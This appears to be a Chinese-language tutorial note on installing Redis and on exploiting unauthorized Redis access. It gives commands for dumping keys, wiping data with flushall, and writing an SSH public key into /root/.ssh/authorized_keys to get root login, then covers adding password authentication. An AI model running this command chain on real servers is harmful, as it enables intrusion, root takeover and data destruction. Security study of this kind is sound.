什么是redis
Redis是一個(gè)開(kāi)源的內(nèi)存鍵值數(shù)據(jù)存儲(chǔ)。它可以用作數(shù)據(jù)庫(kù)、緩存和消息代理,并支持五種數(shù)據(jù)類型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。
redis安裝
sudo apt-get update
sudo apt-get install redis-server
sudo systemctl enable redis-server開(kāi)機(jī)自啟動(dòng)
sudo systemctl status redis-server查看狀態(tài)

啟停start stop
默認(rèn)配置目錄/etc/redis/redis.conf
客戶端連接方式,輸入ip端口直接就連上了,這樣很不安全,只在本地使用的情況下,可以修改bind ip,綁定在127.0.0.1,需要遠(yuǎn)程訪問(wèn)的話加個(gè)密碼認(rèn)證會(huì)比較安全一點(diǎn)。


redis未授權(quán)訪問(wèn)

敏感信息泄露
redis默認(rèn)配置是bind 127.0.0.1,只允許本地訪問(wèn),如果配置了其他網(wǎng)卡地址那么就可以網(wǎng)絡(luò)訪問(wèn),默認(rèn)配置空口令,端口為6379,連接后可以獲取Redis敏感數(shù)據(jù)。

keys *

刪除數(shù)據(jù)
flushall 刪除所有數(shù)據(jù)
del key 刪除鍵為key的數(shù)據(jù)

寫入ssh公鑰,獲取操作系統(tǒng)權(quán)限
原理就是在數(shù)據(jù)庫(kù)中插入一條數(shù)據(jù),將本機(jī)的公鑰作為value,key值隨意,然后通過(guò)修改數(shù)據(jù)庫(kù)的默認(rèn)路徑為/root/.ssh和默認(rèn)的緩沖文件authorized.keys,把緩沖的數(shù)據(jù)保存在文件里,這樣就可以再服務(wù)器端的/root/.ssh下生一個(gè)授權(quán)的key。
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h ip -p port -x set xxx
redis-cli -h ip -p port
config set dir /root/.ssh
config set dbfilename authorized_keys
save
ssh -i id_rsa root@ip
redis添加認(rèn)證的方式有兩種
1、修改配置文件
去掉#好,require后面就是密碼,可以自定義,修改后需要重啟redis服務(wù)。

2、在連接的情況下添加密碼
CONFIG SET REQUIREPASS PASSWORD
當(dāng)退出再連接的時(shí)候需要密碼,這種方式修改的密碼不需要重啟redis服務(wù),但是修改的密碼不會(huì)寫入redis.conf
客戶端接入兩種方式?
redis-cli -h ip -p port -a pasword
或者
redis -clli -h ip -p port?
auth password